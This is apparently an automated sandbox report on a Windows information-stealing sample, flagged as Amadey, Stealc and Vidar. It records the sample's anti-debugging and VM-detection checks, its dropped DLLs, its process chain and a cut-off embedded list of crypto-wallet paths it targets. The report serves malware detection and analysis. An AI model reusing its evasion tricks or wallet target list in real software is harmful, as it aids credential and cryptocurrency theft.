Source: C:\Users\user\DocumentsHIEHDHCFIJ.exe	RDTSC instruction interceptor: First address: BFFE9D second address: BFFEA7 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F6AC4F69476h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\DocumentsHIEHDHCFIJ.exe	RDTSC instruction interceptor: First address: BFFEA7 second address: BFFF61 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007F6AC4F647EDh 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007F6AC4F647F9h 0x00000011 nop 0x00000012 push 00000000h 0x00000014 push esi 0x00000015 call 00007F6AC4F647E8h 0x0000001a pop esi 0x0000001b mov dword ptr [esp+04h], esi 0x0000001f add dword ptr [esp+04h], 00000019h 0x00000027 inc esi 0x00000028 push esi 0x00000029 ret 0x0000002a pop esi 0x0000002b ret 0x0000002c and esi, dword ptr [ebp+122D1917h] 0x00000032 push 00000000h 0x00000034 push 00000000h 0x00000036 push ebx 0x00000037 call 00007F6AC4F647E8h 0x0000003c pop ebx 0x0000003d mov dword ptr [esp+04h], ebx 0x00000041 add dword ptr [esp+04h], 00000019h 0x00000049 inc ebx 0x0000004a push ebx 0x0000004b ret 0x0000004c pop ebx 0x0000004d ret 0x0000004e jne 00007F6AC4F647ECh 0x00000054 push 00000000h 0x00000056 jmp 00007F6AC4F647EAh 0x0000005b call 00007F6AC4F647F4h 0x00000060 sub dword ptr [ebp+122D389Eh], esi 0x00000066 pop esi 0x00000067 push eax 0x00000068 push eax 0x00000069 push edx 0x0000006a jns 00007F6AC4F647ECh 0x00000070 rdtsc
Source: C:\Users\user\DocumentsHIEHDHCFIJ.exe	RDTSC instruction interceptor: First address: C01F28 second address: C01F2D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\DocumentsHIEHDHCFIJ.exe	RDTSC instruction interceptor: First address: C02A3D second address: C02A9F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push esi 0x0000000d call 00007F6AC4F647E8h 0x00000012 pop esi 0x00000013 mov dword ptr [esp+04h], esi 0x00000017 add dword ptr [esp+04h], 0000001Dh 0x0000001f inc esi 0x00000020 push esi 0x00000021 ret 0x00000022 pop esi 0x00000023 ret 0x00000024 jne 00007F6AC4F647F2h 0x0000002a sub edi, 371A02FBh 0x00000030 push 00000000h 0x00000032 clc 0x00000033 push 00000000h 0x00000035 xchg eax, ebx 0x00000036 push ebx 0x00000037 jp 00007F6AC4F647ECh 0x0000003d pop ebx 0x0000003e push eax 0x0000003f push eax 0x00000040 push edx 0x00000041 push eax 0x00000042 push edx 0x00000043 push eax 0x00000044 pop eax 0x00000045 rdtsc
Source: C:\Users\user\DocumentsHIEHDHCFIJ.exe	RDTSC instruction interceptor: First address: C02A9F second address: C02AA5 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsHIEHDHCFIJ.exe	RDTSC instruction interceptor: First address: C02AA5 second address: C02AAB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsHIEHDHCFIJ.exe	RDTSC instruction interceptor: First address: C02AAB second address: C02AAF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHIEHDHCFIJ.exe	RDTSC instruction interceptor: First address: C063D4 second address: C063EF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F6AC4F647EDh 0x00000008 push eax 0x00000009 pop eax 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push ebx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\DocumentsHIEHDHCFIJ.exe	RDTSC instruction interceptor: First address: C063EF second address: C063F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsHIEHDHCFIJ.exe	RDTSC instruction interceptor: First address: C063F4 second address: C06410 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6AC4F647F8h 0x00000009 rdtsc
Source: C:\Users\user\DocumentsHIEHDHCFIJ.exe	RDTSC instruction interceptor: First address: C00980 second address: C00987 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\DocumentsHIEHDHCFIJ.exe	RDTSC instruction interceptor: First address: C06A1A second address: C06A24 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\DocumentsHIEHDHCFIJ.exe	RDTSC instruction interceptor: First address: C06A24 second address: C06AA5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6AC4F69489h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a mov dword ptr [esp], eax 0x0000000d push 00000000h 0x0000000f push ecx 0x00000010 call 00007F6AC4F69478h 0x00000015 pop ecx 0x00000016 mov dword ptr [esp+04h], ecx 0x0000001a add dword ptr [esp+04h], 00000018h 0x00000022 inc ecx 0x00000023 push ecx 0x00000024 ret 0x00000025 pop ecx 0x00000026 ret 0x00000027 xor di, EB56h 0x0000002c push 00000000h 0x0000002e push 00000000h 0x00000030 push edi 0x00000031 call 00007F6AC4F69478h 0x00000036 pop edi 0x00000037 mov dword ptr [esp+04h], edi 0x0000003b add dword ptr [esp+04h], 0000001Bh 0x00000043 inc edi 0x00000044 push edi 0x00000045 ret 0x00000046 pop edi 0x00000047 ret 0x00000048 mov ebx, dword ptr [ebp+122D2737h] 0x0000004e push 00000000h 0x00000050 mov bx, dx 0x00000053 push eax 0x00000054 push eax 0x00000055 push edx 0x00000056 push ebx 0x00000057 jo 00007F6AC4F69476h 0x0000005d pop ebx 0x0000005e rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 13CD9E5 instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsHIEHDHCFIJ.exe	Special instruction interceptor: First address: A5E995 instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsHIEHDHCFIJ.exe	Special instruction interceptor: First address: BF11F0 instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsHIEHDHCFIJ.exe	Special instruction interceptor: First address: BFAE8B instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsHIEHDHCFIJ.exe	Special instruction interceptor: First address: C72A86 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: A5E995 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: BF11F0 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: BFAE8B instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: C72A86 instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\DocumentsHIEHDHCFIJ.exe

Code function: 27_2_04C00223 rdtsc

27_2_04C00223

Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\vcruntime140[1].dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

API coverage: 0.8 %

Source: C:\Users\user\Desktop\file.exe TID: 280	Thread sleep time: -54027s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 5988	Thread sleep time: -58029s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 1060	Thread sleep time: -42021s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6564	Thread sleep time: -32000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 4492	Thread sleep time: -56028s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 5968	Thread sleep time: -58029s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 5336	Thread sleep time: -46023s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 4072	Thread sleep time: -40020s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8228	Thread sleep count: 47 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8228	Thread sleep time: -1410000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8228	Thread sleep time: -30000s >= -30000s

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed

Source: C:\Users\user\DocumentsHIEHDHCFIJ.exe

File Volume queried: C:\ FullSizeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C91C930 GetSystemInfo,VirtualAlloc,GetSystemInfo,VirtualFree,VirtualAlloc,

0_2_6C91C930

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior

Source: skotes.exe, skotes.exe, 00000022.00000002.3405768326.0000000000BD6000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: Web Data.8.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696487552
Source: Web Data.8.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696487552\|UE
Source: Web Data.8.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696487552u
Source: Web Data.8.dr	Binary or memory string: discord.comVMware20,11696487552f
Source: Web Data.8.dr	Binary or memory string: bankofamerica.comVMware20,11696487552x
Source: Web Data.8.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696487552}
Source: Web Data.8.dr	Binary or memory string: ms.portal.azure.comVMware20,11696487552
Source: file.exe, 00000000.00000002.2697626234.0000000001C15000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2697626234.0000000001BF8000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2697626234.0000000001BE3000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000022.00000002.3407191247.000000000142C000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000022.00000002.3407191247.00000000013F9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Web Data.8.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552
Source: Web Data.8.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696487552
Source: Web Data.8.dr	Binary or memory string: global block list test formVMware20,11696487552
Source: Web Data.8.dr	Binary or memory string: tasks.office.comVMware20,11696487552o
Source: Web Data.8.dr	Binary or memory string: AMC password management pageVMware20,11696487552
Source: Web Data.8.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696487552d
Source: Web Data.8.dr	Binary or memory string: interactivebrokers.comVMware20,11696487552
Source: Web Data.8.dr	Binary or memory string: dev.azure.comVMware20,11696487552j
Source: Web Data.8.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696487552]
Source: Web Data.8.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696487552x
Source: Web Data.8.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696487552
Source: Web Data.8.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696487552h
Source: Web Data.8.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696487552z
Source: Web Data.8.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696487552~
Source: Web Data.8.dr	Binary or memory string: outlook.office365.comVMware20,11696487552t
Source: Web Data.8.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552^
Source: file.exe, 00000000.00000002.2697626234.0000000001B9E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: Web Data.8.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696487552p
Source: Web Data.8.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696487552n
Source: Web Data.8.dr	Binary or memory string: outlook.office.comVMware20,11696487552s
Source: Web Data.8.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696487552
Source: Web Data.8.dr	Binary or memory string: turbotax.intuit.comVMware20,11696487552t
Source: Web Data.8.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696487552x
Source: file.exe, 00000000.00000002.2736884745.0000000023F26000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\\?\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\W
Source: file.exe, 00000000.00000002.2696278257.00000000013AE000.00000040.00000001.01000000.00000003.sdmp, DocumentsHIEHDHCFIJ.exe, 0000001B.00000002.2738134998.0000000000BD6000.00000040.00000001.01000000.0000000B.sdmp, skotes.exe, 0000001C.00000002.2777171287.0000000000BD6000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 0000001D.00000002.2779001374.0000000000BD6000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 00000022.00000002.3405768326.0000000000BD6000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: Web Data.8.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696487552}
Source: Web Data.8.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696487552

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\DocumentsHIEHDHCFIJ.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\DocumentsHIEHDHCFIJ.exe	Process queried: DebugPort
Source: C:\Users\user\DocumentsHIEHDHCFIJ.exe	Process queried: DebugPort
Source: C:\Users\user\DocumentsHIEHDHCFIJ.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort

Source: C:\Users\user\DocumentsHIEHDHCFIJ.exe

Code function: 27_2_04C00223 rdtsc

27_2_04C00223

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C965FF0 IsDebuggerPresent,??0PrintfTarget@mozilla@@IAE@XZ,?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z,OutputDebugStringA,__acrt_iob_func,_fileno,_dup,_fdopen,__stdio_common_vfprintf,fclose,

0_2_6C965FF0

Source: C:\Users\user\Desktop\file.exe

0_2_6C903480

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 34_2_00A2652B mov eax, dword ptr fs:[00000030h]		34_2_00A2652B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 34_2_00A2A302 mov eax, dword ptr fs:[00000030h]		34_2_00A2A302

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C93B66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		0_2_6C93B66C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C93B1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		0_2_6C93B1F7

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 380, type: MEMORYSTR

Maps a DLL or memory area into another process

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Section loaded: NULL target: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe protection: readonly

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsHIEHDHCFIJ.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsHIEHDHCFIJ.exe "C:\Users\user\DocumentsHIEHDHCFIJ.exe"
Source: C:\Users\user\DocumentsHIEHDHCFIJ.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"

Source: file.exe, file.exe, 00000000.00000002.2696278257.00000000013AE000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: {kProgram Manager

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C93B341 cpuid

0_2_6C93B341

Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C9035A0 ?Startup@TimeStamp@mozilla@@SAXXZ,InitializeCriticalSectionAndSpinCount,getenv,QueryPerformanceFrequency,_strnicmp,GetSystemTimeAdjustment,__aulldiv,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,__aulldiv,strcmp,strcmp,_strnicmp,

0_2_6C9035A0

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 34_2_009F65E0 LookupAccountNameA,

34_2_009F65E0

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 34.2.skotes.exe.9f0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.2.skotes.exe.9f0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.2.skotes.exe.9f0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.DocumentsHIEHDHCFIJ.exe.9f0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000001D.00000003.2738131826.0000000005180000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.2776810229.00000000009F1000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000022.00000003.3327619249.00000000051C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000022.00000002.3405500628.00000000009F1000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000002.2737756534.00000000009F1000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000003.2735013665.0000000004E80000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.2778829267.00000000009F1000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000003.2690378661.00000000049F0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected Stealc

Source: Yara match	File source: 00000000.00000003.2179309523.00000000057A0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2697626234.0000000001B9E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2695816091.0000000000FE1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 380, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 380, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe, 00000000.00000002.2697626234.0000000001C15000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo 